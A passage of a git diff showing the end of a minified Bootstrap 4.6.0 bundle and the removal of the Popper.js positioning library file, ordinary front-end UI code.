ct=o.default.fn.toast,ht={animation:"boolean",autohide:"boolean",delay:"number"},gt={animation:!0,autohide:!0,delay:500},mt=function(){function t(t,e){this._element=t,this._config=this._getConfig(e),this._timeout=null,this._setListeners()}var e=t.prototype;return e.show=function(){var t=this,e=o.default.Event("show.bs.toast");if(o.default(this._element).trigger(e),!e.isDefaultPrevented()){this._clearTimeout(),this._config.animation&&this._element.classList.add("fade");var n=function(){t._element.classList.remove("showing"),t._element.classList.add("show"),o.default(t._element).trigger("shown.bs.toast"),t._config.autohide&&(t._timeout=setTimeout((function(){t.hide()}),t._config.delay))};if(this._element.classList.remove("hide"),d.reflow(this._element),this._element.classList.add("showing"),this._config.animation){var i=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,n).emulateTransitionEnd(i)}else n()}},e.hide=function(){if(this._element.classList.contains("show")){var t=o.default.Event("hide.bs.toast");o.default(this._element).trigger(t),t.isDefaultPrevented()||this._close()}},e.dispose=function(){this._clearTimeout(),this._element.classList.contains("show")&&this._element.classList.remove("show"),o.default(this._element).off("click.dismiss.bs.toast"),o.default.removeData(this._element,"bs.toast"),this._element=null,this._config=null},e._getConfig=function(t){return t=r({},gt,o.default(this._element).data(),"object"==typeof t&&t?t:{}),d.typeCheckConfig("toast",t,this.constructor.DefaultType),t},e._setListeners=function(){var t=this;o.default(this._element).on("click.dismiss.bs.toast",'[data-dismiss="toast"]',(function(){return t.hide()}))},e._close=function(){var t=this,e=function(){t._element.classList.add("hide"),o.default(t._element).trigger("hidden.bs.toast")};if(this._element.classList.remove("show"),this._config.animation){var n=d.getTransitionDurationFromElement(this._element);o.default(this._element).one(d.TRANSITION_END,e).emulateTransitionEnd(n)}else e()},e._clearTimeout=function(){clearTimeout(this._timeout),this._timeout=null},t._jQueryInterface=function(e){return this.each((function(){var n=o.default(this),i=n.data("bs.toast");if(i||(i=new t(this,"object"==typeof e&&e),n.data("bs.toast",i)),"string"==typeof e){if("undefined"==typeof i[e])throw new TypeError('No method named "'+e+'"');i[e](this)}}))},l(t,null,[{key:"VERSION",get:function(){return"4.6.0"}},{key:"DefaultType",get:function(){return ht}},{key:"Default",get:function(){return gt}}]),t}();o.default.fn.toast=mt._jQueryInterface,o.default.fn.toast.Constructor=mt,o.default.fn.toast.noConflict=function(){return o.default.fn.toast=ct,mt._jQueryInterface},t.Alert=h,t.Button=m,t.Carousel=w,t.Collapse=D,t.Dropdown=x,t.Modal=q,t.Popover=ot,t.Scrollspy=ut,t.Tab=ft,t.Toast=mt,t.Tooltip=J,t.Util=d,Object.defineProperty(t,"__esModule",{value:!0})})); diff --git a/static/js/popper.min.js b/static/js/popper.min.js deleted file mode 100644 index e96cafeba29..00000000000 --- a/static/js/popper.min.js +++ /dev/null @@ -1,1318 +0,0 @@ -/* - Copyright (C) Federico Zivolo 2020 - Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). - */ (function (e, t) { - "object" == typeof exports && "undefined" != typeof module - ? (module.exports = t()) - : "function" == typeof define && define.amd - ? define(t) - : (e.Popper = t()); -})(this, function () { - "use strict"; - function e(e) { - return e && "[object Function]" === {}.toString.call(e); - } - function t(e, t) { - if (1 !== e.nodeType) return []; - var o = e.ownerDocument.defaultView, - n = o.getComputedStyle(e, null); - return t ? n[t] : n; - } - function o(e) { - return "HTML" === e.nodeName ? e : e.parentNode || e.host; - } - function n(e) { - if (!e) return document.body; - switch (e.nodeName) { - case "HTML": - case "BODY": - return e.ownerDocument.body; - case "#document": - return e.body; - } - var i = t(e), - r = i.overflow, - p = i.overflowX, - s = i.overflowY; - return /(auto|scroll|overlay)/.test(r + s + p) ? e : n(o(e)); - } - function i(e) { - return e && e.referenceNode ? e.referenceNode : e; - } - function r(e) { - return 11 === e ? re : 10 === e ? pe : re || pe; - } - function p(e) { - if (!e) return document.documentElement; - for ( - var o = r(10) ? document.body : null, n = e.offsetParent || null; - n === o && e.nextElementSibling; - - ) - n = (e = e.nextElementSibling).offsetParent; - var i = n && n.nodeName; - return i && "BODY" !== i && "HTML" !== i - ? -1 !== ["TH", "TD", "TABLE"].indexOf(n.nodeName) && - "static" === t(n, "position") - ? p(n) - : n - : e - ? e.ownerDocument.documentElement - : document.documentElement; - } - function s(e) { - var t = e.nodeName; - return "BODY" !== t && ("HTML" === t || p(e.firstElementChild) === e); - } - function d(e) { - return null === e.parentNode ? e : d(e.parentNode); - } - function a(e, t) { - if (!e || !e.nodeType || !t || !t.nodeType) return document.documentElement; - var o = e.compareDocumentPosition(t) & Node.DOCUMENT_POSITION_FOLLOWING, - n = o ? e : t, - i = o ? t : e, - r = document.createRange(); - r.setStart(n, 0), r.setEnd(i, 0); - var l = r.commonAncestorContainer; - if ((e !== l && t !== l) || n.contains(i)) return s(l) ? l : p(l); - var f = d(e); - return f.host ? a(f.host, t) : a(e, d(t).host); - } - function l(e) { - var t = - 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : "top", - o = "top" === t ? "scrollTop" : "scrollLeft", - n = e.nodeName; - if ("BODY" === n || "HTML" === n) { - var i = e.ownerDocument.documentElement, - r = e.ownerDocument.scrollingElement || i; - return r[o]; - } - return e[o]; - } - function f(e, t) { - var o = 2 < arguments.length && void 0 !== arguments[2] && arguments[2], - n = l(t, "top"), - i = l(t, "left"), - r = o ? -1 : 1; - return ( - (e.top += n * r), - (e.bottom += n * r), - (e.left += i * r), - (e.right += i * r), - e - ); - } - function m(e, t) { - var o = "x" === t ? "Left" : "Top", - n = "Left" == o ? "Right" : "Bottom"; - return ( - parseFloat(e["border" + o + "Width"]) + - parseFloat(e["border" + n + "Width"]) - ); - } - function h(e, t, o, n) { - return ee( - t["offset" + e], - t["scroll" + e], - o["client" + e], - o["offset" + e], - o["scroll" + e], - r(10) - ? parseInt(o["offset" + e]) + - parseInt(n["margin" + ("Height" === e ? "Top" : "Left")]) + - parseInt(n["margin" + ("Height" === e ? "Bottom" : "Right")]) - : 0 - ); - } - function c(e) { - var t = e.body, - o = e.documentElement, - n = r(10) && getComputedStyle(o); - return { height: h("Height", t, o, n), width: h("Width", t, o, n) }; - } - function g(e) { - return le({}, e, { right: e.left + e.width, bottom: e.top + e.height }); - } - function u(e) { - var o = {}; - try { - if (r(10)) { - o = e.getBoundingClientRect(); - var n = l(e, "top"), - i = l(e, "left"); - (o.top += n), (o.left += i), (o.bottom += n), (o.right += i); - } else o = e.getBoundingClientRect(); - } catch (t) {} - var p = { - left: o.left, - top: o.top, - width: o.right - o.left, - height: o.bottom - o.top, - }, - s = "HTML" === e.nodeName ? c(e.ownerDocument) : {}, - d = s.width || e.clientWidth || p.width, - a = s.height || e.clientHeight || p.height, - f = e.offsetWidth - d, - h = e.offsetHeight - a; - if (f || h) { - var u = t(e); - (f -= m(u, "x")), (h -= m(u, "y")), (p.width -= f), (p.height -= h); - } - return g(p); - } - function b(e, o) { - var i = 2 < arguments.length && void 0 !== arguments[2] && arguments[2], - p = r(10), - s = "HTML" === o.nodeName, - d = u(e), - a = u(o), - l = n(e), - m = t(o), - h = parseFloat(m.borderTopWidth), - c = parseFloat(m.borderLeftWidth); - i && s && ((a.top = ee(a.top, 0)), (a.left = ee(a.left, 0))); - var b = g({ - top: d.top - a.top - h, - left: d.left - a.left - c, - width: d.width, - height: d.height, - }); - if (((b.marginTop = 0), (b.marginLeft = 0), !p && s)) { - var w = parseFloat(m.marginTop), - y = parseFloat(m.marginLeft); - (b.top -= h - w), - (b.bottom -= h - w), - (b.left -= c - y), - (b.right -= c - y), - (b.marginTop = w), - (b.marginLeft = y); - } - return ( - (p && !i ? o.contains(l) : o === l && "BODY" !== l.nodeName) && - (b = f(b, o)), - b - ); - } - function w(e) { - var t = 1 < arguments.length && void 0 !== arguments[1] && arguments[1], - o = e.ownerDocument.documentElement, - n = b(e, o), - i = ee(o.clientWidth, window.innerWidth || 0), - r = ee(o.clientHeight, window.innerHeight || 0), - p = t ? 0 : l(o), - s = t ? 0 : l(o, "left"), - d = { - top: p - n.top + n.marginTop, - left: s - n.left + n.marginLeft, - width: i, - height: r, - }; - return g(d); - } - function y(e) { - var n = e.nodeName; - if ("BODY" === n || "HTML" === n) return !1; - if ("fixed" === t(e, "position")) return !0; - var i = o(e); - return !!i && y(i); - } - function E(e) { - if (!e || !e.parentElement || r()) return document.documentElement; - for (var o = e.parentElement; o && "none" === t(o, "transform"); ) - o = o.parentElement; - return o || document.documentElement; - } - function v(e, t, r, p) { - var s = 4 < arguments.length && void 0 !== arguments[4] && arguments[4], - d = { top: 0, left: 0 }, - l = s ? E(e) : a(e, i(t)); - if ("viewport" === p) d = w(l, s); - else { - var f; - "scrollParent" === p - ? ((f = n(o(t))), - "BODY" === f.nodeName && (f = e.ownerDocument.documentElement)) - : "window" === p - ? (f = e.ownerDocument.documentElement) - : (f = p); - var m = b(f, l, s); - if ("HTML" === f.nodeName && !y(l)) { - var h = c(e.ownerDocument), - g = h.height, - u = h.width; - (d.top += m.top - m.marginTop), - (d.bottom = g + m.top), - (d.left += m.left - m.marginLeft), - (d.right = u + m.left); - } else d = m; - } - r = r || 0; - var v = "number" == typeof r; - return ( - (d.left += v ? r : r.left || 0), - (d.top += v ? r : r.top || 0), - (d.right -= v ? r : r.right || 0), - (d.bottom -= v ? r : r.bottom || 0), - d - ); - } - function x(e) { - var t = e.width, - o = e.height; - return t * o; - } - function O(e, t, o, n, i) { - var r = 5 < arguments.length && void 0 !== arguments[5] ? arguments[5] : 0; - if (-1 === e.indexOf("auto")) return e; - var p = v(o, n, r, i), - s = { - top: { width: p.width, height: t.top - p.top }, - right: { width: p.right - t.right, height: p.height }, - bottom: { width: p.width, height: p.bottom - t.bottom }, - left: { width: t.left - p.left, height: p.height }, - }, - d = Object.keys(s) - .map(function (e) { - return le({ key: e }, s[e], { area: x(s[e]) }); - }) - .sort(function (e, t) { - return t.area - e.area; - }), - a = d.filter(function (e) { - var t = e.width, - n = e.height; - return t >= o.clientWidth && n >= o.clientHeight; - }), - l = 0 < a.length ? a[0].key : d[0].key, - f = e.split("-")[1]; - return l + (f ? "-" + f : ""); - } - function L(e, t, o) { - var n = - 3 < arguments.length && void 0 !== arguments[3] ? arguments[3] : null, - r = n ? E(t) : a(t, i(o)); - return b(o, r, n); - } - function S(e) { - var t = e.ownerDocument.defaultView, - o = t.getComputedStyle(e), - n = parseFloat(o.marginTop || 0) + parseFloat(o.marginBottom || 0), - i = parseFloat(o.marginLeft || 0) + parseFloat(o.marginRight || 0), - r = { width: e.offsetWidth + i, height: e.offsetHeight + n }; - return r; - } - function T(e) { - var t = { left: "right", right: "left", bottom: "top", top: "bottom" }; - return e.replace(/left|right|bottom|top/g, function (e) { - return t[e]; - }); - } - function C(e, t, o) { - o = o.split("-")[0]; - var n = S(e), - i = { width: n.width, height: n.height }, - r = -1 !== ["right", "left"].indexOf(o), - p = r ? "top" : "left", - s = r ? "left" : "top", - d = r ? "height" : "width", - a = r ? "width" : "height"; - return ( - (i[p] = t[p] + t[d] / 2 - n[d] / 2), - (i[s] = o === s ? t[s] - n[a] : t[T(s)]), - i - ); - } - function D(e, t) { - return Array.prototype.find ? e.find(t) : e.filter(t)[0]; - } - function N(e, t, o) { - if (Array.prototype.findIndex) - return e.findIndex(function (e) { - return e[t] === o; - }); - var n = D(e, function (e) { - return e[t] === o; - }); - return e.indexOf(n); - } - function P(t, o, n) { - var i = void 0 === n ? t : t.slice(0, N(t, "name", n)); - return ( - i.forEach(function (t) { - t["function"] && - console.warn("`modifier.function` is deprecated, use `modifier.fn`!"); - var n = t["function"] || t.fn; - t.enabled && - e(n) && - ((o.offsets.popper = g(o.offsets.popper)), - (o.offsets.reference = g(o.offsets.reference)), - (o = n(o, t))); - }), - o - ); - } - function k() { - if (!this.state.isDestroyed) { - var e = { - instance: this, - styles: {}, - arrowStyles: {}, - attributes: {}, - flipped: !1, - offsets: {}, - }; - (e.offsets.reference = L( - this.state, - this.popper, - this.reference, - this.options.positionFixed - )), - (e.placement = O( - this.options.placement, - e.offsets.reference, - this.popper, - this.reference, - this.options.modifiers.flip.boundariesElement, - this.options.modifiers.flip.padding - )), - (e.originalPlacement = e.placement), - (e.positionFixed = this.options.positionFixed), - (e.offsets.popper = C(this.popper, e.offsets.reference, e.placement)), - (e.offsets.popper.position = this.options.positionFixed - ? "fixed" - : "absolute"), - (e = P(this.modifiers, e)), - this.state.isCreated - ? this.options.onUpdate(e) - : ((this.state.isCreated = !0), this.options.onCreate(e)); - } - } - function W(e, t) { - return e.some(function (e) { - var o = e.name, - n = e.enabled; - return n && o === t; - }); - } - function B(e) { - for ( - var t = [!1, "ms", "Webkit", "Moz", "O"], - o = e.charAt(0).toUpperCase() + e.slice(1), - n = 0; - n < t.length; - n++ - ) { - var i = t[n], - r = i ? "" + i + o : e; - if ("undefined" != typeof document.body.style[r]) return r; - } - return null; - } - function H() { - return ( - (this.state.isDestroyed = !0), - W(this.modifiers, "applyStyle") && - (this.popper.removeAttribute("x-placement"), - (this.popper.style.position = ""), - (this.popper.style.top = ""), - (this.popper.style.left = ""), - (this.popper.style.right = ""), - (this.popper.style.bottom = ""), - (this.popper.style.willChange = ""), - (this.popper.style[B("transform")] = "")), - this.disableEventListeners(), - this.options.removeOnDestroy && - this.popper.parentNode.removeChild(this.popper), - this - ); - } - function A(e) { - var t = e.ownerDocument; - return t ? t.defaultView : window; - } - function M(e, t, o, i) { - var r = "BODY" === e.nodeName, - p = r ? e.ownerDocument.defaultView : e; - p.addEventListener(t, o, { passive: !0 }), - r || M(n(p.parentNode), t, o, i), - i.push(p); - } - function F(e, t, o, i) { - (o.updateBound = i), - A(e).addEventListener("resize", o.updateBound, { passive: !0 }); - var r = n(e); - return ( - M(r, "scroll", o.updateBound, o.scrollParents), - (o.scrollElement = r), - (o.eventsEnabled = !0), - o - ); - } - function I() { - this.state.eventsEnabled || - (this.state = F( - this.reference, - this.options, - this.state, - this.scheduleUpdate - )); - } - function R(e, t) { - return ( - A(e).removeEventListener("resize", t.updateBound), - t.scrollParents.forEach(function (e) { - e.removeEventListener("scroll", t.updateBound); - }), - (t.updateBound = null), - (t.scrollParents = []), - (t.scrollElement = null), - (t.eventsEnabled = !1), - t - ); - } - function U() { - this.state.eventsEnabled && - (cancelAnimationFrame(this.scheduleUpdate), - (this.state = R(this.reference, this.state))); - } - function Y(e) { - return "" !== e && !isNaN(parseFloat(e)) && isFinite(e); - } - function V(e, t) { - Object.keys(t).forEach(function (o) { - var n = ""; - -1 !== ["width", "height", "top", "right", "bottom", "left"].indexOf(o) && - Y(t[o]) && - (n = "px"), - (e.style[o] = t[o] + n); - }); - } - function j(e, t) { - Object.keys(t).forEach(function (o) { - var n = t[o]; - !1 === n ? e.removeAttribute(o) : e.setAttribute(o, t[o]); - }); - } - function q(e, t) { - var o = e.offsets, - n = o.popper, - i = o.reference, - r = $, - p = function (e) { - return e; - }, - s = r(i.width), - d = r(n.width), - a = -1 !== ["left", "right"].indexOf(e.placement), - l = -1 !== e.placement.indexOf("-"), - f = t ? (a || l || s % 2 == d % 2 ? r : Z) : p, - m = t ? r : p; - return { - left: f(1 == s % 2 && 1 == d % 2 && !l && t ? n.left - 1 : n.left), - top: m(n.top), - bottom: m(n.bottom), - right: f(n.right), - }; - } - function K(e, t, o) { - var n = D(e, function (e) { - var o = e.name; - return o === t; - }), - i = - !!n && - e.some(function (e) { - return e.name === o && e.enabled && e.order < n.order; - }); - if (!i) { - var r = "`" + t + "`"; - console.warn( - "`" + - o + - "`" + - " modifier is required by " + - r + - " modifier in order to work, be sure to include it before " + - r + - "!" - ); - } - return i; - } - function z(e) { - return "end" === e ? "start" : "start" === e ? "end" : e; - } - function G(e) { - var t = 1 < arguments.length && void 0 !== arguments[1] && arguments[1], - o = he.indexOf(e), - n = he.slice(o + 1).concat(he.slice(0, o)); - return t ? n.reverse() : n; - } - function _(e, t, o, n) { - var i = e.match(/((?:\-|\+)?\d*\.?\d*)(.*)/), - r = +i[1], - p = i[2]; - if (!r) return e; - if (0 === p.indexOf("%")) { - var s; - switch (p) { - case "%p": - s = o; - break; - case "%": - case "%r": - default: - s = n; - } - var d = g(s); - return (d[t] / 100) * r; - } - if ("vh" === p || "vw" === p) { - var a; - return ( - (a = - "vh" === p - ? ee(document.documentElement.clientHeight, window.innerHeight || 0) - : ee(document.documentElement.clientWidth, window.innerWidth || 0)), - (a / 100) * r - ); - } - return r; - } - function X(e, t, o, n) { - var i = [0, 0], - r = -1 !== ["right", "left"].indexOf(n), - p = e.split(/(\+|\-)/).map(function (e) { - return e.trim(); - }), - s = p.indexOf( - D(p, function (e) { - return -1 !== e.search(/,|\s/); - }) - ); - p[s] && - -1 === p[s].indexOf(",") && - console.warn( - "Offsets separated by white space(s) are deprecated, use a comma (,) instead." - ); - var d = /\s*,\s*|\s+/, - a = - -1 === s - ? [p] - : [ - p.slice(0, s).concat([p[s].split(d)[0]]), - [p[s].split(d)[1]].concat(p.slice(s + 1)), - ]; - return ( - (a = a.map(function (e, n) { - var i = (1 === n ? !r : r) ? "height" : "width", - p = !1; - return e - .reduce(function (e, t) { - return "" === e[e.length - 1] && -1 !== ["+", "-"].indexOf(t) - ? ((e[e.length - 1] = t), (p = !0), e) - : p - ? ((e[e.length - 1] += t), (p = !1), e) - : e.concat(t); - }, []) - .map(function (e) { - return _(e, i, t, o); - }); - })), - a.forEach(function (e, t) { - e.forEach(function (o, n) { - Y(o) && (i[t] += o * ("-" === e[n - 1] ? -1 : 1)); - }); - }), - i - ); - } - function J(e, t) { - var o, - n = t.offset, - i = e.placement, - r = e.offsets, - p = r.popper, - s = r.reference, - d = i.split("-")[0]; - return ( - (o = Y(+n) ? [+n, 0] : X(n, p, s, d)), - "left" === d - ? ((p.top += o[0]), (p.left -= o[1])) - : "right" === d - ? ((p.top += o[0]), (p.left += o[1])) - : "top" === d - ? ((p.left += o[0]), (p.top -= o[1])) - : "bottom" === d && ((p.left += o[0]), (p.top += o[1])), - (e.popper = p), - e - ); - } - var Q = Math.min, - Z = Math.floor, - $ = Math.round, - ee = Math.max, - te = - "undefined" != typeof window && - "undefined" != typeof document && - "undefined" != typeof navigator, - oe = (function () { - for (var e = ["Edge", "Trident", "Firefox"], t = 0; t < e.length; t += 1) - if (te && 0 <= navigator.userAgent.indexOf(e[t])) return 1; - return 0; - })(), - ne = te && window.Promise, - ie = ne - ? function (e) { - var t = !1; - return function () { - t || - ((t = !0), - window.Promise.resolve().then(function () { - (t = !1), e(); - })); - }; - } - : function (e) { - var t = !1; - return function () { - t || - ((t = !0), - setTimeout(function () { - (t = !1), e(); - }, oe)); - }; - }, - re = te && !!(window.MSInputMethodContext && document.documentMode), - pe = te && /MSIE 10/.test(navigator.userAgent), - se = function (e, t) { - if (!(e instanceof t)) - throw new TypeError("Cannot call a class as a function"); - }, - de = (function () { - function e(e, t) { - for (var o, n = 0; n < t.length; n++) - (o = t[n]), - (o.enumerable = o.enumerable || !1), - (o.configurable = !0), - "value" in o && (o.writable = !0), - Object.defineProperty(e, o.key, o); - } - return function (t, o, n) { - return o && e(t.prototype, o), n && e(t, n), t; - }; - })(), - ae = function (e, t, o) { - return ( - t in e - ? Object.defineProperty(e, t, { - value: o, - enumerable: !0, - configurable: !0, - writable: !0, - }) - : (e[t] = o), - e - ); - }, - le = - Object.assign || - function (e) { - for (var t, o = 1; o < arguments.length; o++) - for (var n in ((t = arguments[o]), t)) - Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]); - return e; - }, - fe = te && /Firefox/i.test(navigator.userAgent), - me = [ - "auto-start", - "auto", - "auto-end", - "top-start", - "top", - "top-end", - "right-start", - "right", - "right-end", - "bottom-end", - "bottom", - "bottom-start", - "left-end", - "left", - "left-start", - ], - he = me.slice(3), - ce = { - FLIP: "flip", - CLOCKWISE: "clockwise", - COUNTERCLOCKWISE: "counterclockwise", - }, - ge = (function () { - function t(o, n) { - var i = this, - r = - 2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : {}; - se(this, t), - (this.scheduleUpdate = function () { - return requestAnimationFrame(i.update); - }), - (this.update = ie(this.update.bind(this))), - (this.options = le({}, t.Defaults, r)), - (this.state = { isDestroyed: !1, isCreated: !1, scrollParents: [] }), - (this.reference = o && o.jquery ? o[0] : o), - (this.popper = n && n.jquery ? n[0] : n), - (this.options.modifiers = {}), - Object.keys(le({}, t.Defaults.modifiers, r.modifiers)).forEach( - function (e) { - i.options.modifiers[e] = le( - {}, - t.Defaults.modifiers[e] || {}, - r.modifiers ? r.modifiers[e] : {} - ); - } - ), - (this.modifiers = Object.keys(this.options.modifiers) - .map(function (e) { - return le({ name: e }, i.options.modifiers[e]); - }) - .sort(function (e, t) { - return e.order - t.order; - })), - this.modifiers.forEach(function (t) { - t.enabled && - e(t.onLoad) && - t.onLoad(i.reference, i.popper, i.options, t, i.state); - }), - this.update(); - var p = this.options.eventsEnabled; - p && this.enableEventListeners(), (this.state.eventsEnabled = p); - } - return ( - de(t, [ - { - key: "update", - value: function () { - return k.call(this); - }, - }, - { - key: "destroy", - value: function () { - return H.call(this); - }, - }, - { - key: "enableEventListeners", - value: function () { - return I.call(this); - }, - }, - { - key: "disableEventListeners", - value: function () { - return U.call(this); - }, - }, - ]), - t - ); - })(); - return ( - (ge.Utils = ("undefined" == typeof window ? global : window).PopperUtils), - (ge.placements = me), - (ge.Defaults = { - placement: "bottom", - positionFixed: !1, - eventsEnabled: !0, - removeOnDestroy: !1, - onCreate: function () {}, - onUpdate: function () {}, - modifiers: { - shift: { - order: 100, - enabled: !0, - fn: function (e) { - var t = e.placement, - o = t.split("-")[0], - n = t.split("-")[1]; - if (n) { - var i = e.offsets, - r = i.reference, - p = i.popper, - s = -1 !== ["bottom", "top"].indexOf(o), - d = s ? "left" : "top", - a = s ? "width" : "height", - l = { - start: ae({}, d, r[d]), - end: ae({}, d, r[d] + r[a] - p[a]), - }; - e.offsets.popper = le({}, p, l[n]); - } - return e; - }, - }, - offset: { order: 200, enabled: !0, fn: J, offset: 0 }, - preventOverflow: { - order: 300, - enabled: !0, - fn: function (e, t) { - var o = t.boundariesElement || p(e.instance.popper); - e.instance.reference === o && (o = p(o)); - var n = B("transform"), - i = e.instance.popper.style, - r = i.top, - s = i.left, - d = i[n]; - (i.top = ""), (i.left = ""), (i[n] = ""); - var a = v( - e.instance.popper, - e.instance.reference, - t.padding, - o, - e.positionFixed - ); - (i.top = r), (i.left = s), (i[n] = d), (t.boundaries = a); - var l = t.priority, - f = e.offsets.popper, - m = { - primary: function (e) { - var o = f[e]; - return ( - f[e] < a[e] && - !t.escapeWithReference && - (o = ee(f[e], a[e])), - ae({}, e, o) - ); - }, - secondary: function (e) { - var o = "right" === e ? "left" : "top", - n = f[o]; - return ( - f[e] > a[e] && - !t.escapeWithReference && - (n = Q( - f[o], - a[e] - ("right" === e ? f.width : f.height) - )), - ae({}, o, n) - ); - }, - }; - return ( - l.forEach(function (e) { - var t = - -1 === ["left", "top"].indexOf(e) ? "secondary" : "primary"; - f = le({}, f, m[t](e)); - }), - (e.offsets.popper = f), - e - ); - }, - priority: ["left", "right", "top", "bottom"], - padding: 5, - boundariesElement: "scrollParent", - }, - keepTogether: { - order: 400, - enabled: !0, - fn: function (e) { - var t = e.offsets, - o = t.popper, - n = t.reference, - i = e.placement.split("-")[0], - r = Z, - p = -1 !== ["top", "bottom"].indexOf(i), - s = p ? "right" : "bottom", - d = p ? "left" : "top", - a = p ? "width" : "height"; - return ( - o[s] < r(n[d]) && (e.offsets.popper[d] = r(n[d]) - o[a]), - o[d] > r(n[s]) && (e.offsets.popper[d] = r(n[s])), - e - ); - }, - }, - arrow: { - order: 500, - enabled: !0, - fn: function (e, o) { - var n; - if (!K(e.instance.modifiers, "arrow", "keepTogether")) return e; - var i = o.element; - if ("string" == typeof i) { - if (((i = e.instance.popper.querySelector(i)), !i)) return e; - } else if (!e.instance.popper.contains(i)) - return ( - console.warn( - "WARNING: `arrow.element` must be child of its popper element!" - ), - e - ); - var r = e.placement.split("-")[0], - p = e.offsets, - s = p.popper, - d = p.reference, - a = -1 !== ["left", "right"].indexOf(r), - l = a ? "height" : "width", - f = a ? "Top" : "Left", - m = f.toLowerCase(), - h = a ? "left" : "top", - c = a ? "bottom" : "right", - u = S(i)[l]; - d[c] - u < s[m] && (e.offsets.popper[m] -= s[m] - (d[c] - u)), - d[m] + u > s[c] && (e.offsets.popper[m] += d[m] + u - s[c]), - (e.offsets.popper = g(e.offsets.popper)); - var b = d[m] + d[l] / 2 - u / 2, - w = t(e.instance.popper), - y = parseFloat(w["margin" + f]), - E = parseFloat(w["border" + f + "Width"]), - v = b - e.offsets.popper[m] - y - E; - return ( - (v = ee(Q(s[l] - u, v), 0)), - (e.arrowElement = i), - (e.offsets.arrow = ((n = {}), ae(n, m, $(v)), ae(n, h, ""), n)), - e - ); - }, - element: "[x-arrow]", - }, - flip: { - order: 600, - enabled: !0, - fn: function (e, t) { - if (W(e.instance.modifiers, "inner")) return e; - if (e.flipped && e.placement === e.originalPlacement) return e; - var o = v( - e.instance.popper, - e.instance.reference, - t.padding, - t.boundariesElement, - e.positionFixed - ), - n = e.placement.split("-")[0], - i = T(n), - r = e.placement.split("-")[1] || "", - p = []; - switch (t.behavior) { - case ce.FLIP: - p = [n, i]; - break; - case ce.CLOCKWISE: - p = G(n); - break; - case ce.COUNTERCLOCKWISE: - p = G(n, !0); - break; - default: - p = t.behavior; - } - return ( - p.forEach(function (s, d) { - if (n !== s || p.length === d + 1) return e; - (n = e.placement.split("-")[0]), (i = T(n)); - var a = e.offsets.popper, - l = e.offsets.reference, - f = Z, - m = - ("left" === n && f(a.right) > f(l.left)) || - ("right" === n && f(a.left) < f(l.right)) || - ("top" === n && f(a.bottom) > f(l.top)) || - ("bottom" === n && f(a.top) < f(l.bottom)), - h = f(a.left) < f(o.left), - c = f(a.right) > f(o.right), - g = f(a.top) < f(o.top), - u = f(a.bottom) > f(o.bottom), - b = - ("left" === n && h) || - ("right" === n && c) || - ("top" === n && g) || - ("bottom" === n && u), - w = -1 !== ["top", "bottom"].indexOf(n), - y = - !!t.flipVariations && - ((w && "start" === r && h) || - (w && "end" === r && c) || - (!w && "start" === r && g) || - (!w && "end" === r && u)), - E = - !!t.flipVariationsByContent && - ((w && "start" === r && c) || - (w && "end" === r && h) || - (!w && "start" === r && u) || - (!w && "end" === r && g)), - v = y || E; - (m || b || v) && - ((e.flipped = !0), - (m || b) && (n = p[d + 1]), - v && (r = z(r)), - (e.placement = n + (r ? "-" + r : "")), - (e.offsets.popper = le( - {}, - e.offsets.popper, - C(e.instance.popper, e.offsets.reference, e.placement) - )), - (e = P(e.instance.modifiers, e, "flip"))); - }), - e - ); - }, - behavior: "flip", - padding: 5, - boundariesElement: "viewport", - flipVariations: !1, - flipVariationsByContent: !1, - }, - inner: { - order: 700, - enabled: !1, - fn: function (e) { - var t = e.placement, - o = t.split("-")[0], - n = e.offsets, - i = n.popper, - r = n.reference, - p = -1 !== ["left", "right"].indexOf(o), - s = -1 === ["top", "left"].indexOf(o); - return ( - (i[p ? "left" : "top"] = - r[o] - (s ? i[p ? "width" : "height"] : 0)), - (e.placement = T(t)), - (e.offsets.popper = g(i)), - e - ); - }, - }, - hide: { - order: 800, - enabled: !0, - fn: function (e) { - if (!K(e.instance.modifiers, "hide", "preventOverflow")) return e; - var t = e.offsets.reference, - o = D(e.instance.modifiers, function (e) { - return "preventOverflow" === e.name; - }).boundaries; - if ( - t.bottom < o.top || - t.left > o.right || - t.top > o.bottom || - t.right < o.left - ) { - if (!0 === e.hide) return e; - (e.hide = !0), (e.attributes["x-out-of-boundaries"] = ""); - } else { - if (!1 === e.hide) return e; - (e.hide = !1), (e.attributes["x-out-of-boundaries"] = !1); - } - return e; - }, - }, - computeStyle: { - order: 850, - enabled: !0, - fn: function (e, t) { - var o = t.x, - n = t.y, - i = e.offsets.popper, - r = D(e.instance.modifiers, function (e) { - return "applyStyle" === e.name; - }).gpuAcceleration; - void 0 !== r && - console.warn( - "WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!" - ); - var s, - d, - a = void 0 === r ? t.gpuAcceleration : r, - l = p(e.instance.popper), - f = u(l), - m = { position: i.position }, - h = q(e, 2 > window.devicePixelRatio || !fe), - c = "bottom" === o ? "top" : "bottom", - g = "right" === n ? "left" : "right", - b = B("transform"); - if ( - ((d = - "bottom" == c - ? "HTML" === l.nodeName - ? -l.clientHeight + h.bottom - : -f.height + h.bottom - : h.top), - (s = - "right" == g - ? "HTML" === l.nodeName - ? -l.clientWidth + h.right - : -f.width + h.right - : h.left), - a && b) - ) - (m[b] = "translate3d(" + s + "px, " + d + "px, 0)"), - (m[c] = 0), - (m[g] = 0), - (m.willChange = "transform"); - else { - var w = "bottom" == c ? -1 : 1, - y = "right" == g ? -1 : 1; - (m[c] = d * w), (m[g] = s * y), (m.willChange = c + ", " + g); - } - var E = { "x-placement": e.placement }; - return ( - (e.attributes = le({}, E, e.attributes)), - (e.styles = le({}, m, e.styles)), - (e.arrowStyles = le({}, e.offsets.arrow, e.arrowStyles)), - e - ); - }, - gpuAcceleration: !0, - x: "bottom", - y: "right", - }, - applyStyle: { - order: 900, - enabled: !0, - fn: function (e) { - return ( - V(e.instance.popper, e.styles), - j(e.instance.popper, e.attributes), - e.arrowElement && - Object.keys(e.arrowStyles).length && - V(e.arrowElement, e.arrowStyles), - e - ); - }, - onLoad: function (e, t, o, n, i) { - var r = L(i, t, e, o.positionFixed), - p = O( - o.placement, - r, - t, - e, - o.modifiers.flip.boundariesElement, - o.modifiers.flip.padding - ); - return ( - t.setAttribute("x-placement", p), - V(t, { position: o.positionFixed ? "fixed" : "absolute" }), - o - ); - }, - 